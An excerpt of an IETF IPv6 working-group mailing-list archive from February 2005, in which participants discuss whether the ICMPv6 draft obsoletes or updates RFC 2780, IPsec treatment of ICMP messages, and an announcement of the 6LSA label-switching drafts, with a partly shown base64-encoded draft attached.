Feb 2005 03:42:59 +0200 (EET) X-Scanned: Mon, 28 Feb 2005 03:42:24 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks003.ntc.nokia.com (8.12.9/8.12.9) id j1S1gOKM019745; Mon, 28 Feb 2005 03:42:24 +0200 Received: from mgw-int2.ntc.nokia.com (172.21.143.97) by esdks003.ntc.nokia.com 00RRTxR6; Mon, 28 Feb 2005 03:42:22 EET Received: from daebh001.NOE.Nokia.com (daebh001.americas.nokia.com [10.241.35.121]) by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1S1gKU04914; Mon, 28 Feb 2005 03:42:20 +0200 (EET) Received: from daebe102.NOE.Nokia.com ([10.241.35.115]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Sun, 27 Feb 2005 19:42:20 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sun, 27 Feb 2005 19:42:19 -0600 Message-ID: <2334E6CC5C1FD34F90C1167EA4EBFE5B05017C@daebe102.NOE.Nokia.com> Thread-Topic: IESG Comments about ICMPv6 draft: Obsoleting 2780 Thread-Index: AcUdLij9SdzoKLigT2uqZ01TK3eUYgABt5sA To: X-OriginalArrivalTime: 28 Feb 2005 01:42:20.0051 (UTC) FILETIME=[BDD96E30:01C51D36] X-Spam-Score: 0.3 (/) X-Scan-Signature: 25620135586de10c627e3628c432b04a Content-Transfer-Encoding: quoted-printable Cc: margaret@thingmagic.com, ipv6@ietf.org Subject: RE: IESG Comments about ICMPv6 draft: Obsoleting 2780 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: bdc523f9a54890b8a30dd6fd53d5d024 Content-Transfer-Encoding: quoted-printable Allison, It all makes sense now :) Thanks for being patient :) What about we replace "This document obsoletes RFC 2463=20 [RFC-2463]." text with "This document obsoletes RFC 2463=20 [RFC-2463] and RFC 2780 [RFC-2780]" ? and Margaret adds a note to the RFC editor in her writeup. Both these action should take care of your second comment. Right ? I am still trying to address your first comment about ESP/AH RFCs. Regards Mukesh > -----Original Message----- > From: ext Allison Mankin [mailto:mankin@psg.com] > Sent: Sunday, February 27, 2005 4:40 PM > To: Gupta Mukesh.K (Nokia-NET/MtView) > Cc: mankin@psg.com; ipv6@ietf.org; margaret@thingmagic.com > Subject: Re: IESG Comments about ICMPv6 draft: Obsoleting 2780=20 >=20 >=20 >=20 > Mukesh, >=20 > Well, let me try again, we often have documents that update only part > of the earlier document. >=20 > In this case, we need people to know when the see RFC 2780 > in the index that there is another RFC that modifies some of its > content. If this isn't done, they'll pick up RFC 2780 and be > misled into asking for the RFC 2780 rules for ICMPv6. This causes > delay and problems until they get straightened out to get to the > right rules for ICMPv6. If you look at the RFC Editor definition > for Updates, it does not say how much of the RFC has to be updated > (see below). >=20 >=20 > > RFC 2780 provides guidelines for more than ICMP (IPv4, IPv6, > > TCP, UDP) and this ICMPv6 draft updates only section 6 and 7=3D20 > > (ICMP). So will it not be wrong to say that this spec updates > > 2780. What if someone was looking to do a registry action > > about TCP and they looked at the index and looked at the > > note that 2780 has been updated by this spec and couldn't > > find guidelines for TCP in this spec ? > >=20 > > Am I making my concern clear ? > >=20 >=20 > The RFC Editor has the following formal rule (in their=20 > almost approved > draft-rfc-editor-rfc2223bis-08.txt) >=20 > Updates >=20 > Specifies an earlier document whose contents are modified or > augmented by the new document. The new document cannot be > used alone, it can only be used in conjunction with the > earlier document. >=20 > This says nothing about how much or how little of the earlier=20 > document the new document updates. >=20 > Does this give you enough help on the update point? Margaret, > this ok?=20 >=20 > Allison >=20 -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 22:48:58 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA04333 for ; Sun, 27 Feb 2005 22:48:58 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5bug-00046X-06 for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 22:49:42 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5bqV-000769-IP; Sun, 27 Feb 2005 22:45:23 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5bqT-00074N-Ir for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 22:45:21 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA04101 for ; Sun, 27 Feb 2005 22:45:19 -0500 (EST) Message-Id: <200502280345.WAA04101@ietf.org> Received: from psg.com ([147.28.0.62] ident=mailnull) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5br8-00042V-5M for ipv6@ietf.org; Sun, 27 Feb 2005 22:46:03 -0500 Received: from localhost ([127.0.0.1] helo=psg.com) by psg.com with esmtp (Exim 4.44 (FreeBSD)) id 1D5bqR-000JvV-Dy; Mon, 28 Feb 2005 03:45:19 +0000 To: Mukesh.K.Gupta@nokia.com In-Reply-To: Message from of "Sun, 27 Feb 2005 19:42:19 CST." <2334E6CC5C1FD34F90C1167EA4EBFE5B05017C@daebe102.NOE.Nokia.com> Date: Sun, 27 Feb 2005 19:45:19 -0800 From: Allison Mankin X-Spam-Score: 0.0 (/) X-Scan-Signature: 8abaac9e10c826e8252866cbe6766464 Cc: margaret@thingmagic.com, ipv6@ietf.org Subject: Re: IESG Comments about ICMPv6 draft: Obsoleting 2780 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.8 (/) X-Scan-Signature: 69a74e02bbee44ab4f8eafdbcedd94a1 > > It all makes sense now :) Thanks for being patient :) > > What about we replace "This document obsoletes RFC 2463=20 > [RFC-2463]." text with "This document obsoletes RFC 2463=20 > [RFC-2463] and RFC 2780 [RFC-2780]" ? Oops - This document obsoletes RFC 2463 [RFC2463] and *updates* RFC 2780 [RFC-2780]. With that proviso, yes! > > and Margaret adds a note to the RFC editor in her > writeup. > > Both these action should take care of your second > comment. Right ? Yes! > > I am still trying to address your first comment > about ESP/AH RFCs. Okay, I'll await that. > > Regards > Mukesh -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 28 00:54:31 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA13430 for ; Mon, 28 Feb 2005 00:54:31 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5ds8-0006K7-SE for ipv6-web-archive@ietf.org; Mon, 28 Feb 2005 00:55:16 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5dmL-0001EL-Ch; Mon, 28 Feb 2005 00:49:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5dmF-0001Do-Sc for ipv6@megatron.ietf.org; Mon, 28 Feb 2005 00:49:08 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA13025 for ; Mon, 28 Feb 2005 00:49:04 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5dmv-0006DA-5H for ipv6@ietf.org; Mon, 28 Feb 2005 00:49:50 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1S5mrQ21958; Mon, 28 Feb 2005 07:48:53 +0200 Date: Mon, 28 Feb 2005 07:48:53 +0200 (EET) From: Pekka Savola To: Mukesh.K.Gupta@nokia.com In-Reply-To: <2334E6CC5C1FD34F90C1167EA4EBFE5B050179@daebe102.NOE.Nokia.com> Message-ID: References: <2334E6CC5C1FD34F90C1167EA4EBFE5B050179@daebe102.NOE.Nokia.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Cc: ipv6@ietf.org, mankin@psg.com Subject: RE: IESG Comments about ICMPv6 draft: Authentication and Confidentiality of ICMP messages X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 52e1467c2184c31006318542db5614d5 On Sun, 27 Feb 2005 Mukesh.K.Gupta@nokia.com wrote: >> Some informal text, helping the ICMPv6 implementers to understand the >> IPsec processing issues, should be still OK. > > I agree. The knob of whether unauthenticated ICMP packets > should be accepted or dropped also falls under IPsec module > while implementing. So why should ICMP implementors be > worried about this. > > I will try to modify the text in that section so that > it just provides information and points to the IPsec > RFCs for detailed processing. OK. It may be worth reminding the readers that in most cases, even if a packet was sent with IPsec, the response may come in the clear and the decision to just drop them might have ... strong implications. Such cleartext messages would typically originate from the routers in between, or from the destination host if it doesn't have its security policies set up in such a manner that ICMP packets would be protected. So, a flag to disable unauthenticated ICMPs does not seem to be particularly interesting when used in the Internet; it may or may not be potentially useful when used inside Intranets. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 28 03:43:24 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA19577 for ; Mon, 28 Feb 2005 03:43:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5gVZ-0000wa-VM for ipv6-web-archive@ietf.org; Mon, 28 Feb 2005 03:44:09 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5gJp-0007QQ-6s; Mon, 28 Feb 2005 03:31:57 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5TFr-0000gB-Ml; Sun, 27 Feb 2005 13:34:59 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20381; Sun, 27 Feb 2005 13:34:56 -0500 (EST) Received: from zmamail05.zma.compaq.com ([161.114.64.105]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5TGP-0002wM-J9; Sun, 27 Feb 2005 13:35:35 -0500 Received: from tayexg12.americas.cpqcorp.net (tayexg12.americas.cpqcorp.net [16.103.130.127]) by zmamail05.zma.compaq.com (Postfix) with ESMTP id 99237BAF2; Sun, 27 Feb 2005 13:34:46 -0500 (EST) Received: from tayexc13.americas.cpqcorp.net ([16.103.130.26]) by tayexg12.americas.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.211); Sun, 27 Feb 2005 13:34:46 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C51CFB.03194768" Date: Sun, 27 Feb 2005 13:34:57 -0500 Message-ID: <9C422444DE99BC46B3AD3C6EAFC9711B087EE13D@tayexc13.americas.cpqcorp.net> X-MS-Has-Attach: yes Thread-Topic: 6LSA IETF Drafts Thread-Index: AcUa47LTX00DC0a+T8eCXKZuA1LeuwACWG8AAFdABJAAAMfkMA== From: "Bound, Jim" To: X-OriginalArrivalTime: 27 Feb 2005 18:34:46.0455 (UTC) FILETIME=[031D5470:01C51CFB] X-Spam-Score: 0.0 (/) X-Scan-Signature: 0076290b21c69318492534f4e4dfda6a X-Mailman-Approved-At: Mon, 28 Feb 2005 03:30:31 -0500 Cc: rtgwg@ietf.org Subject: 6LSA IETF Drafts X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: afe851332d75a6da8a5802c142db3390 This is a multi-part message in MIME format. ------_=_NextPart_001_01C51CFB.03194768 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Folks, See below draft and two attached that will be available after the IETF. It provides a solution for IPv6 Label Switch Architecture that does not compete with MPLS or QOS work in progress in the industry at ITU, etc. http://ietf.org/internet-drafts/draft-chakravorty-6lsa-01.txt=20 If some of you would do me a favor and review and send comments to Sham Chakravorty schakra@mitre.org, Jim.Bound@nav6tf.org, and Kevin Zhang kzhang@mitre.org I would appreciate it. We will have a BOF most likely on 6LSA at the Paris meeting to see if this would be its own working group. We will set up industry list for technical persons to work on it until then if we get enough responses. I am pretty sure we should do this here in the IETF not go to the ITU. Also we will be at the Minneapolis IETF so if you have in person comments that is appreciate too. Thanks /jim ------_=_NextPart_001_01C51CFB.03194768 Content-Type: text/plain; name="draft-chakravorty-bcc-FEC-00.txt" Content-Description: draft-chakravorty-bcc-FEC-00.txt Content-Disposition: attachment; filename="draft-chakravorty-bcc-FEC-00.txt" Content-Transfer-Encoding: base64 DQoNCkludGVybmV0IEVuZ2luZWVyaW5nIFRhc2sgRm9yY2UgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBKLiBCb3VuZA0KSW50ZXJuZXQtRHJhZnQgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTkF2NlRGDQpFeHBpcmVzOiBBdWd1c3QgMjEs IDIwMDUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUy4gQ2hha3Jhdm9ydHkNCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEQu IENoaXJpZWxlaXNvbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgVGhlIE1JVFJFIENvcnBvcmF0aW9uDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmVicnVhcnkgMjAsIDIwMDUNCg0KDQogICAg ICAgICAgICAgICAgICAgIEJpbmRpbmcgUGFja2V0cyB0byBGRUNzIGluIDZMU0ENCiAgICAgICAg ICAgICAgICAgICAgICBkcmFmdC1jaGFrcmF2b3J0eS1iY2MtZmVjLTAwDQoNClN0YXR1cyBvZiB0 aGlzIE1lbW8NCg0KICAgVGhpcyBkb2N1bWVudCBpcyBhbiBJbnRlcm5ldC1EcmFmdCBhbmQgaXMg c3ViamVjdCB0byBhbGwgcHJvdmlzaW9ucw0KICAgb2Ygc2VjdGlvbiAzIG9mIFJGQyAzNjY3LiAg Qnkgc3VibWl0dGluZyB0aGlzIEludGVybmV0LURyYWZ0LCBlYWNoDQogICBhdXRob3IgcmVwcmVz ZW50cyB0aGF0IGFueSBhcHBsaWNhYmxlIHBhdGVudCBvciBvdGhlciBJUFIgY2xhaW1zIG9mDQog ICB3aGljaCBoZSBvciBzaGUgaXMgYXdhcmUgaGF2ZSBiZWVuIG9yIHdpbGwgYmUgZGlzY2xvc2Vk LCBhbmQgYW55IG9mDQogICB3aGljaCBoZSBvciBzaGUgYmVjb21lIGF3YXJlIHdpbGwgYmUgZGlz Y2xvc2VkLCBpbiBhY2NvcmRhbmNlIHdpdGgNCiAgIFJGQyAzNjY4Lg0KDQogICBJbnRlcm5ldC1E cmFmdHMgYXJlIHdvcmtpbmcgZG9jdW1lbnRzIG9mIHRoZSBJbnRlcm5ldCBFbmdpbmVlcmluZw0K ICAgVGFzayBGb3JjZSAoSUVURiksIGl0cyBhcmVhcywgYW5kIGl0cyB3b3JraW5nIGdyb3Vwcy4g IE5vdGUgdGhhdA0KICAgb3RoZXIgZ3JvdXBzIG1heSBhbHNvIGRpc3RyaWJ1dGUgd29ya2luZyBk b2N1bWVudHMgYXMNCiAgIEludGVybmV0LURyYWZ0cy4NCg0KICAgSW50ZXJuZXQtRHJhZnRzIGFy ZSBkcmFmdCBkb2N1bWVudHMgdmFsaWQgZm9yIGEgbWF4aW11bSBvZiBzaXggbW9udGhzDQogICBh bmQgbWF5IGJlIHVwZGF0ZWQsIHJlcGxhY2VkLCBvciBvYnNvbGV0ZWQgYnkgb3RoZXIgZG9jdW1l bnRzIGF0IGFueQ0KICAgdGltZS4gIEl0IGlzIGluYXBwcm9wcmlhdGUgdG8gdXNlIEludGVybmV0 LURyYWZ0cyBhcyByZWZlcmVuY2UNCiAgIG1hdGVyaWFsIG9yIHRvIGNpdGUgdGhlbSBvdGhlciB0 aGFuIGFzICJ3b3JrIGluIHByb2dyZXNzLiINCg0KICAgVGhlIGxpc3Qgb2YgY3VycmVudCBJbnRl cm5ldC1EcmFmdHMgY2FuIGJlIGFjY2Vzc2VkIGF0DQogICBodHRwOi8vd3d3LmlldGYub3JnL2ll dGYvMWlkLWFic3RyYWN0cy50eHQuDQoNCiAgIFRoZSBsaXN0IG9mIEludGVybmV0LURyYWZ0IFNo YWRvdyBEaXJlY3RvcmllcyBjYW4gYmUgYWNjZXNzZWQgYXQNCiAgIGh0dHA6Ly93d3cuaWV0Zi5v cmcvc2hhZG93Lmh0bWwuDQoNCiAgIFRoaXMgSW50ZXJuZXQtRHJhZnQgd2lsbCBleHBpcmUgb24g QXVndXN0IDIxLCAyMDA1Lg0KDQpDb3B5cmlnaHQgTm90aWNlDQoNCiAgIENvcHlyaWdodCAoQykg VGhlIEludGVybmV0IFNvY2lldHkgKDIwMDUpLg0KDQpBYnN0cmFjdA0KDQogICBJRVRGIEludGVy bmV0IERyYWZ0ICJJUHY2IExhYmVsIFN3aXRjaGluZyBBcmNoaXRlY3R1cmUgKDZMU0EpIiBbNkxT QV0NCiAgIFsyXSBwcm9wb3NlcyB1c2luZyB0aGUgSVB2NiBGbG93IExhYmVsIGZpZWxkIHRvIHN3 aXRjaCBwYWNrZXRzDQogICB0aHJvdWdoIGFuIElQdjYgc3VibmV0d29yay4gIFRoZSB1c2Ugb2Yg dGhlc2UgSVB2NiBMYWJlbCBTd2l0Y2hlZA0KICAgUGF0aHMgKDZMU1BzKSBjYW4gcHJvdmlkZSBt ZWFucyBmb3IgdHJhZmZpYyBlbmdpbmVlcmluZyBhbmQNCiAgIHBvdGVudGlhbGx5IGluY3JlYXNl IHRoZSBzcGVlZCBvZiBwYWNrZXRzIHRyYXZlcnNpbmcgYSByb3V0ZWQgbmV0d29yaw0KDQoNCg0K Qm91bmQsIGV0IGFsLiAgICAgICAgICAgRXhwaXJlcyBBdWd1c3QgMjEsIDIwMDUgICAgICAgICAg ICAgICAgIFtQYWdlIDFdDQoMDQpJbnRlcm5ldC1EcmFmdCAgICAgIEJpbmRpbmcgUGFja2V0cyB0 byBGRUNzIGluIDZMU0EgICAgICAgIEZlYnJ1YXJ5IDIwMDUNCg0KDQogICB3aXRoIG5vIGluY3Jl YXNlIGluIGJhbmR3aWR0aC4gIFRoZSA2TFNBIGRyYWZ0IGRlZmluZXMgdHdvIHByb2Nlc3NlczoN CiAgIDEpIGdyb3VwaW5nIHBhY2tldHMgd2l0aCBpZGVudGljYWwgZm9yd2FyZGluZyBiZWhhdmlv ciBpbnRvIGENCiAgIEZvcndhcmRpbmcgRXF1aXZhbGVuY2UgQ2xhc3MgKEZFQyksIDIpIGZvcndh cmRpbmcgYWxsIHBhY2tldHMNCiAgIGJlbG9uZ2luZyB0byBhbiBGRUMgYWxvbmcgdGhlIHNhbWUg cGF0aC4gIFRoZSBhc3NpZ25tZW50IG9mIHBhY2tldHMNCiAgIHRvIGFuIEZFQyBpcyBjYWxsZWQg YmluZGluZy4gIFRoZSBwdXJwb3NlIG9mIHRoaXMgZG9jdW1lbnQgaXMgdG8NCiAgIGV4cGFuZCBv biB0aGVzZSB0d28gcHJvY2Vzc2VzLCBkaXNjdXNzaW5nIHNwZWNpZmljIG1ldGhvZHMgb2YNCiAg IHBlcmZvcm1pbmcgdGhlIHJlcXVpcmVkIGZ1bmN0aW9ucy4NCg0KVGFibGUgb2YgQ29udGVudHMN Cg0KICAgMS4gIEludHJvZHVjdGlvbiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g LiAuIC4gLiAuIC4gLiAuICAzDQogICAyLiAgVGVybWlub2xvZ3kgIC4gLiAuIC4gLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gIDMNCiAgIDMuICBCYWNrZ3JvdW5kIC4g LiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAgNA0KICAg NC4gIEZFQyBDb25zdHJ1Y3Rpb24gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g LiAuIC4gLiAuICA2DQogICAgIDQuMSAgIE1hbnVhbCBDb25maWd1cmF0aW9uIC4gLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gIDcNCiAgICAgNC4yICAgTmV0d29yayBNYW5hZ2Vt ZW50IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAgNw0KICAgICA0LjMg ICBQc2V1ZG9mbG93IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g LiAuICA4DQogICAgIDQuNCAgIExhYmVsIERpc3RyaWJ1dGlvbiBQcm90b2NvbCAgLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIC4gIDkNCiAgIDUuICBCaW5kaW5nIElQdjYgUGFja2V0cyB0byBh biBGRUMgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAgOQ0KICAgICA1LjEgICBNYW51 YWwgQ29uZmlndXJhdGlvbiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDEw DQogICAgIDUuMiAgIEFsZ29yaXRobWljIEJpbmRpbmcgIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gMTENCiAgICAgNS4zICAgRkVDIEJpbmRpbmcgdXNpbmcgU05NUCAuIC4g LiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAxMg0KICAgNi4gIFNlY3VyaXR5IENvbnNp ZGVyYXRpb25zICAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDEyDQogICAg IDYuMSAgIFVzZSBvZiBTTk1QICAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gLiAuIC4gMTINCiAgICAgNi4yICAgVXNlIG9mIExhYmVsIERpc3RyaWJ1dGlvbiBQcm90b2Nv bHMgIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAxMw0KICAgNy4gIFJlZmVyZW5jZXMgLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDEzDQogICA4LiAgQWNr bm93bGVnZW1lbnRzICAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gMTQNCiAgIDkuICBEaXNjbGFpbWVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g LiAuIC4gLiAuIC4gLiAuIC4gLiAxNA0KICAgICAgIEF1dGhvcnMnIEFkZHJlc3NlcyAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDE0DQogICAgICAgSW50ZWxsZWN0 dWFsIFByb3BlcnR5IGFuZCBDb3B5cmlnaHQgU3RhdGVtZW50cyAuIC4gLiAuIC4gLiAuIC4gMTUN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCkJvdW5kLCBldCBhbC4g ICAgICAgICAgIEV4cGlyZXMgQXVndXN0IDIxLCAyMDA1ICAgICAgICAgICAgICAgICBbUGFnZSAy XQ0KDA0KSW50ZXJuZXQtRHJhZnQgICAgICBCaW5kaW5nIFBhY2tldHMgdG8gRkVDcyBpbiA2TFNB ICAgICAgICBGZWJydWFyeSAyMDA1DQoNCg0KMS4gIEludHJvZHVjdGlvbg0KDQogICBUaGUgSUVU RiBJbnRlcm5ldCBEcmFmdCAiSVB2NiBMYWJlbCBTd2l0Y2hpbmcgQXJjaGl0ZWN0dXJlICg2TFNB KSINCiAgIFs2TFNBXSBbMl0gcHJvcG9zZXMgdXNpbmcgdGhlIElQdjYgRmxvdyBMYWJlbCBmaWVs ZCB0byBzd2l0Y2ggcGFja2V0cw0KICAgdGhyb3VnaCBhbiBJUHY2IHN1Ym5ldHdvcmsuICBUaGUg dXNlIG9mIHRoZXNlIElQdjYgTGFiZWwgU3dpdGNoZWQNCiAgIFBhdGhzICg2TFNQcykgY2FuIHBy b3ZpZGUgbWVhbnMgZm9yIHRyYWZmaWMgZW5naW5lZXJpbmcgYW5kDQogICBwb3RlbnRpYWxseSBp bmNyZWFzZSB0aGUgc3BlZWQgb2YgcGFja2V0cyB0cmF2ZXJzaW5nIGEgcm91dGVkIG5ldHdvcmsN CiAgIHdpdGggbm8gaW5jcmVhc2UgaW4gbmVlZGVkIGJhbmR3aWR0aC4NCg0KICAgTGFiZWwgc3dp dGNoaW5nIGluIDZMU0EsIGFzIGluIE1QTFMsIGVuYWJsZXMgc2V0dGluZyB1cCBvZiBsYWJlbGVk DQogICBwYXRocyB0aGF0IGNhbiByZXByZXNlbnQgZGlmZmVyZW50IHNlcnZpY2UgY2xhc3NlcyBh bmQgZW5zdXJlIHRoYXQNCiAgIHRyYWZmaWMgb2YgZGlmZmVyZW50IHN1Y2ggY2xhc3NlcyBmbG93 cyBvdmVyIHRoZXNlIHBhdGhzLiAgTGFiZWwNCiAgIHN3aXRjaGluZyBtYXkgaGF2ZSBzcGVlZCBh ZHZhbnRhZ2VzIG92ZXIgdHJhZGl0aW9uYWwgcm91dGluZy4gIFRoaXMNCiAgIGFkdmFudGFnZSB3 aWxsIGxpa2VseSBiZSBncmVhdGVyIGluIElQdjYgc2luY2UgaXRzIGFkZHJlc3MgZmllbGRzIGFy ZQ0KICAgMTI4IGJpdHMgbG9uZy4gIE5leHQtaG9wIGRldGVybWluYXRpb24gdXNpbmcgdGhlIDIw IGJpdCBsYWJlbA0KICAgcHJvcG9zZWQgaW4gNkxTQSBzaG91bGQgYmUgY29uc2lkZXJhYmx5IG1v cmUgZWZmaWNpZW50IHRoYW4gYSAxMjggYml0DQogICByb3V0aW5nIHRhYmxlIGxvb2t1cC4NCg0K ICAgVGhlIGJhc2ljIDZMU0EgZHJhZnQgZGVmaW5lcyB0d28gcHJvY2Vzc2VzOiAxKSBncm91cGlu ZyBwYWNrZXRzIHdpdGgNCiAgIGlkZW50aWNhbCBmb3J3YXJkaW5nIGJlaGF2aW9yIGludG8gYSBG b3J3YXJkaW5nIEVxdWl2YWxlbmNlIENsYXNzDQogICAoRkVDKSwgMikgZm9yd2FyZGluZyBhbGwg cGFja2V0cyBiZWxvbmdpbmcgdG8gYW4gRkVDIGFsb25nIHRoZSBzYW1lDQogICBwYXRoLiAgVGhl IGFzc2lnbm1lbnQgb2YgcGFja2V0cyB0byBhbiBGRUMgaXMgY2FsbGVkIGJpbmRpbmcuICBUaGUN CiAgIHB1cnBvc2Ugb2YgdGhpcyBkb2N1bWVudCBpcyB0byBleHBhbmQgb24gdGhlc2UgdHdvIHBy b2Nlc3NlcywNCiAgIGRpc2N1c3Npbmcgc3BlY2lmaWMgbWV0aG9kcyBvZiBwZXJmb3JtaW5nIHRo ZSByZXF1aXJlZCBmdW5jdGlvbnMuDQoNCiAgIFRlcm1pbm9sb2d5IGFzIGludHJvZHVjZWQgaW4g dGhlIDZMU0EgZHJhZnQgaXMgcmV2aWV3ZWQgaW4gU2VjdGlvbiAyDQogICBiZWxvdy4gIFNlY3Rp 